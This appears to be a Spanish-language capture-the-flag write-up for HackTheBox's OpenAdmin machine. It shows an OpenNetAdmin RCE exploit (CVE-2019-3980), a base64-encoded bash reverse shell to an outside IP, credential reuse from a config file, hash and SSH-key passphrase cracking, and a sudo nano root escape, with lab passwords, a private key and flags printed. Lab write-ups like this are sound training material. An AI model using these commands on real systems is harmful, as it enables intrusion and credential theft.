{"url":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520","machine":{"name":"OpenAdmin","slug":"openadmin","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"medio","difficulty_label":"Medio","operating_system":["Linux","Web"],"tags":["web","linux","privesc","ssh","lateral","rce"],"original_url":"https://app.hackthebox.com/machines/OpenAdmin?sort_by=created_at&sort_type=desc"},"author":{"nickname":"juanluismm520","url":"https://www.writeups.es/u/juanluismm520","bio":null},"summary":null,"outline":[{"level":2,"title":"Resumen","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#resumen"},{"level":2,"title":"Reconocimiento y Enumeración","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#reconocimiento-y-enumeracion"},{"level":2,"title":"Explotación","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#explotacion"},{"level":3,"title":"Revshell (B64)","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#revshell-b64"},{"level":3,"title":"(Opcional) Tratamiento de la TTY","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#opcional-tratamiento-de-la-tty"},{"level":2,"title":"Escalada de privilegios","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#escalada-de-privilegios"},{"level":3,"title":"Usuario Jimmy","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#usuario-jimmy"},{"level":3,"title":"Usuario joanna","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#usuario-joanna"},{"level":3,"title":"Root","anchor":"https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520#root"}],"cves":["CVE-2019-3980"],"code_languages":["bash","txt","rsa"],"stats":{"words":324,"reading_minutes":2,"votes":0},"content_markdown":"## Resumen\n\nVulneabilidad RCE de un openadmin 18.1.1 con movimiento lateral a distintos usuarios y finalmente a root.\n\n## Reconocimiento y Enumeración\n\n```bash\nnmap $(target) -A -T5 -p- --min-rate 5000\ngobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 150 -x php,html,txt,bak,js \n```\n\nPuertos abiertos:\n\n| Puerto | Servicio | Versión |\n|--------|----------|---------|\n| 22     | SSH      |   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3      |\n| 80     | HTTP     |   Apache httpd 2.4.29      |\n\n\n```bash\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nindex.html           (Status: 200) [Size: 10918]\nmusic                (Status: 301) [Size: 314] [--> http://10.129.69.184/music/]\nartwork              (Status: 301) [Size: 316] [--> http://10.129.69.184/artwork/]\nsierra               (Status: 301) [Size: 315] [--> http://10.129.69.184/sierra/]\n```\n\n\nBucando en `music` y haciendo gobuster de nuevo lo más interesante que encuentro es `/music/Source` pero mirando dentro solo hay algunos archivos que no veo de útilidad a simple vista. Inspeccionando página veo un `href` que nos lleva a un enlace `/ona`. Entro y veo un panel de `openadmin 18.1.1`\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/96c59f9d-798c-4335-acc5-e309128da83a.webp)\n\n```bash\nsearchsploit openadmin\n```\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/776dd746-a465-469d-a261-fb0d4238a7b5.webp)\n\nVemos que hay un exploit público en metasploit. Vamos a probarlo. \n\n## Explotación\n```bash\nmsfconsole\nsearch openadmin\nuse 0\nset rhosts 10.129.69.184\nset targeturi /ona\nexploit\n```\n\nPero no llega a funcionar. Encuentro un repositorio público https://github.com/sec-it/OpenNetAdmin-RCE.\n\nBuscando más información encuentro que estamos ante\n[CVE-2019-3980](https://nvd.nist.gov/vuln/detail/CVE-2019-3980)\n\nEjecutando `ruby exploit.rb exploit http://10.129.69.184/ona/ id` obtengo el id como usuario `www-data`.\n\n### Revshell (B64)\nLe pasamos una `revshell`. Para ello\n\n```bash\nPAYLOAD=\"bash -i >& /dev/tcp/10.10.15.111/9001 0>&1\"\nB64=$(echo -n \"$PAYLOAD\" | base64 -w0)\necho $B64\nnc -nvlp 9001 # En otra terminal!\nruby exploit.rb exploit http://10.129.69.184/ona/ \"echo $B64|base64 -d|bash\" # Obtenemos la shell\n```\n\n### (Opcional) Tratamiento de la TTY\nPara tener una shell estable\n```bash\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nexport TERM=xterm\n# Ctrl+Z en tu terminal local, luego:\nstty raw -echo; fg\n# y en la shell remota:\nreset\n```\n\n\n\n## Escalada de privilegios\n### Usuario Jimmy\nHtb nos da una pista, ya que nos pide la pass del usuario jimmy. Si buscamos información en internet obtenemos que la BD se almacena en `/opt/ona/www/local/config/database_settings.inc.php` donde nos aparece una pass. Si probamos a ver si jimmy ha reutilizado la pass. \n\n> [!SPOILER]\n> 'db_passwd' => 'n1nj4W4rri0R!'\n\nEjecutamos `su jimmy`\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/e853a048-40de-4f73-bc20-d5b26248e446.webp)\n\n### Usuario joanna\nGracias a que estamos haciendo el `Guided Mode` de HTB. Sabemos que joanna tiene un `vhost`. Simplemente miraremos apache, nginx y podremos ver los vhost virtuales que tiene. \n\nComo era de esperar encontramos uno `intrnal.openadmin.htb`\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/09bb8a9d-616a-4de7-b969-c580aae00ca9.webp)\n\nAdemás si nos damos cuenta en la foto, vemos que la config se situa en `/var/www/internal` y leyendo la config \n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/4fcc4157-da2d-4194-8b86-44fcb63b30a6.webp)\n\n```txt\n00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1\n```\n\nHay que crackearla. El tipo de hash es `Sha-512 (raw)`, no tiene salt así que. \n\n```bash\nhashcat -m 1700 -r best64.rule hash.txt /usr/share/wordlists/rockyou.txt\nhashcat -m 1700 hash.txt --show\n00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1:Revealed\n```\n\nAhora debemos acceder a `internal.openadmin.htb` para eso debemos montar un tunel ssh para poder acceder. Leyendo los archivos, si nos logueamos como jimmy podemos acceder a la clave privada de joana. \n\nEjecutamos \n```bash\nssh -L 52846:127.0.0.1:52846 jimmy@10.129.69.184 # Redirige el localhost de la victima con el nuestro\n```\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f4e3b72f-9d8c-4637-ab92-2ccd347738d3.webp)\n\n```RSA\n-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D\n\nkG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8\nad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO\nShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE\n6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ\nZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du\ny8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI\n9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4\npiC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/\n/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH\n40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ\nfnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb\n9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80\nX1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg\nS33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F\nFnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh\nTh5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa\nRTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z\nuhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr\n1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2\nXGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79\nyPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM\n+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt\nqlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt\nz0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe\nK1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN\n-----END RSA PRIVATE KEY-----\n```\n\nTiene passphrase pero para crackearla usamos\n\n```bash\nssh2john id_rsa > rsa_hash.txt\njohn rsa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt\n```\n\n> [!SPOILER]\n> passphrase:bloodninjas\n\nAhora `ssh -i ./id_rsa joanna@$(target)`, colocamos la passphrase y listo. Entramos como joanna. \n\n> [!SPOILER]\n> user.txt: 19d83f38f0846ba56f34d54dd3339238\n\n\n\n### Root\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7a4b733b-2af7-4418-8165-024e221b0f68.webp)\n\nPodemos ejecutar `nano` como sudo. https://gtfobins.org/gtfobins/nano/ nos indica como vulnerarlo. \n\n```bash\nsudo /bin/nano /opt/priv\n^R^X\nreset; sh 1>&0 2>&0\n```\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/c985635d-afdd-445f-b244-16ebdcf05975.webp)\n\n> [!SPOILER]\n> root.txt: d2aa940e43dad973b514f6e886355033\n","published_at":"2026-09-10T15:30:43.952149+00:00","updated_at":"2026-09-10T17:24:22.061498+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://www.writeups.es/writeups/hackthebox/openadmin/juanluismm520"}